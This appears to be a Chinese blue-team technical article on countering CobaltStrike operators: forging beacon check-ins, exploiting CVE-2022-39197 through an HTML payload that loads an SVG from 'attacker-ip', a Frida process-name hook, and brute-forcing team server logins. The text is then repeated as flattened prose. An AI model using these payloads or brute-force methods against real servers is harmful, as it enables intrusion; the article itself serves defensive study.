反制Cobaltstrike的那些手段
字数 1402 2025-08-06 18:07:49

反制CobaltStrike的全面技术指南

0x01 背景

CobaltStrike(CS)是红队常用的渗透测试工具,本文详细总结对抗CS的各种技术手段,包括理论研究与实践实现。

0x02 主要内容

  1. 伪造流量批量上线(欺骗防御)
  2. 利用漏洞(CVE-2022-39197)反制攻击者
  3. 爆破CS Server密码获取控制权
  4. 旁路反制技术

0x03 研究分析与实现

一、伪造流量批量上线(欺骗防御)

1. 理论研究

应用场景

  • 发现精准钓鱼攻击时:混淆攻击者视听,使C2上线大量假终端
  • 已有机器被控时:拖延攻击者,争取排查处置时间

伪造上线流量原理
伪造CS的心跳流量,核心是伪造"元数据"(cookie字段),该字段是RSA公钥加密的内容。

元数据明文格式

标志头(4字节) + Size(4) + Rawkey(16) + 字体(4) + beacon ID(4) + 进程ID(4) + port(2) + 内核(4) + 0x09 + 失陷IP + 0x09 + 主机名 + 0x09 + 用户名 + 0x09 + 进程名

CS判断唯一性:通过beacon ID字段区分不同心跳

获取公钥方法

  1. 使用已知破解版本中的公钥
  2. 从stager拉取的beacon中提取
  3. 分析stagerless样本获取
  4. 从CS Server的.cobaltstrike.beacon_keys文件提取

2. 实践实现

工具实现
GitHub项目:cobaltstrikefakeup

关键代码

// 从.cobaltstrike.beacon_keys提取公钥
ObjectInputStream var2 = new ObjectInputStream(new FileInputStream("keys"));
Scalar var3 = (Scalar)var2.readObject();
KeyPair keyPair1 = (KeyPair) var3.objectValue();
String publicKey = new String(Base64.getEncoder().encode(keyPair1.getPublic().getEncoded()));

使用限制

  • RSA加密明文长度限制为117字节(128-11)
  • 需要合理分配各字段长度

二、通过漏洞反制(CVE-2022-39197)

1. XSS漏洞利用

漏洞原理
CS未对元数据中的字段进行检查过滤,导致可通过伪造用户名等字段注入HTML标签

Payload示例

<html>

利用场景

  • 存储型XSS:所有连接的aggressor端都会触发
  • 溯源攻击者:记录请求来源IP

2. RCE漏洞升级

利用链条件

  1. 类有无参构造方法
  2. 继承Component
  3. 有String类型参数的set方法
  4. 通过set方法能触发危险操作

POC类
org.apache.batik.swing.JSVGCanvas

Payload

<html><object classid='org.apache.batik.swing.JSVGCanvas'>
<param name='URI' value='http://attacker-ip/evil.svg'></param></object>

实践限制

  • 直接伪造元数据方式payload过长
  • 替代方案:通过命令执行流量实现

Hook实现方案
修改beacon进程名称为payload,当攻击者查看进程列表时触发

// Frida hook示例
Interceptor.replace(Process32Next, new NativeCallback(function (hSnapshot, lppe) {
    var result = Process32Next(hSnapshot, lppe);
    var processName = lppe.add(0x24).readAnsiString();
    if (processName === "beacon.exe") {
        lppe.add(0x24).writeAnsiString(payload);
    }
    return result;
}, 'int', ['pointer', 'pointer']));

三、爆破CS Server密码

登录协议分析

  1. aggressor与server建立SSL连接

  2. server监听端口等待连接

  3. aggressor发送构造数据:

    • 前4字节:0x0000BEEF(48879)
    • 接着1字节:密码长度
    • 然后是密码内容
    • 剩余补'A'至256字节
  4. server响应:

    • 密码正确:返回0x0000CAFE(51966)
    • 密码错误:返回0

爆破防御机制

// CS的爆破防护
synchronized(this) {
    Thread.sleep((long)(Math.random() * 1000.0D));
}
  • 随机睡眠0-1秒
  • 导致爆破效率极低(约1次/秒)

四、旁路反制技术

思路
当无法直接反制CS时,寻找:

  1. C2服务器上的其他服务漏洞
  2. 攻击者使用的关联工具漏洞
  3. 基础设施配置缺陷

案例

  • 发现C2运行nps服务,利用nps漏洞获取权限
  • 攻击者使用的自动化工具存在RCE

0x04 总结

蓝队反制技术正在形成体系,未来可能发展出类似ATT&CK的防御框架。反制技术要点:

  1. 流量欺骗:伪造心跳干扰攻击者
  2. 漏洞利用:通过CS自身漏洞反制
  3. 密码爆破:针对弱口令防护
  4. 旁路突破:利用关联系统漏洞

防御建议

  • 红队应加强CS配置安全性
  • 及时更新CS版本修复漏洞
  • 使用自定义协议增强认证
  • 隔离C2服务器与其他服务
反制CobaltStrike的全面技术指南 0x01 背景 CobaltStrike(CS)是红队常用的渗透测试工具,本文详细总结对抗CS的各种技术手段,包括理论研究与实践实现。 0x02 主要内容 伪造流量批量上线(欺骗防御) 利用漏洞(CVE-2022-39197)反制攻击者 爆破CS Server密码获取控制权 旁路反制技术 0x03 研究分析与实现 一、伪造流量批量上线(欺骗防御) 1. 理论研究 应用场景 : 发现精准钓鱼攻击时:混淆攻击者视听,使C2上线大量假终端 已有机器被控时:拖延攻击者,争取排查处置时间 伪造上线流量原理 : 伪造CS的心跳流量,核心是伪造"元数据"(cookie字段),该字段是RSA公钥加密的内容。 元数据明文格式 : CS判断唯一性 :通过beacon ID字段区分不同心跳 获取公钥方法 : 使用已知破解版本中的公钥 从stager拉取的beacon中提取 分析stagerless样本获取 从CS Server的 .cobaltstrike.beacon_keys 文件提取 2. 实践实现 工具实现 : GitHub项目: cobaltstrikefakeup 关键代码 : 使用限制 : RSA加密明文长度限制为117字节(128-11) 需要合理分配各字段长度 二、通过漏洞反制(CVE-2022-39197) 1. XSS漏洞利用 漏洞原理 : CS未对元数据中的字段进行检查过滤,导致可通过伪造用户名等字段注入HTML标签 Payload示例 : 利用场景 : 存储型XSS:所有连接的aggressor端都会触发 溯源攻击者:记录请求来源IP 2. RCE漏洞升级 利用链条件 : 类有无参构造方法 继承Component 有String类型参数的set方法 通过set方法能触发危险操作 POC类 : org.apache.batik.swing.JSVGCanvas Payload : 实践限制 : 直接伪造元数据方式payload过长 替代方案:通过命令执行流量实现 Hook实现方案 : 修改beacon进程名称为payload,当攻击者查看进程列表时触发 三、爆破CS Server密码 登录协议分析 aggressor与server建立SSL连接 server监听端口等待连接 aggressor发送构造数据: 前4字节:0x0000BEEF(48879) 接着1字节:密码长度 然后是密码内容 剩余补'A'至256字节 server响应: 密码正确:返回0x0000CAFE(51966) 密码错误:返回0 爆破防御机制 随机睡眠0-1秒 导致爆破效率极低(约1次/秒) 四、旁路反制技术 思路 : 当无法直接反制CS时,寻找: C2服务器上的其他服务漏洞 攻击者使用的关联工具漏洞 基础设施配置缺陷 案例 : 发现C2运行nps服务,利用nps漏洞获取权限 攻击者使用的自动化工具存在RCE 0x04 总结 蓝队反制技术正在形成体系,未来可能发展出类似ATT&CK的防御框架。反制技术要点: 流量欺骗:伪造心跳干扰攻击者 漏洞利用:通过CS自身漏洞反制 密码爆破:针对弱口令防护 旁路突破:利用关联系统漏洞 防御建议 : 红队应加强CS配置安全性 及时更新CS版本修复漏洞 使用自定义协议增强认证 隔离C2服务器与其他服务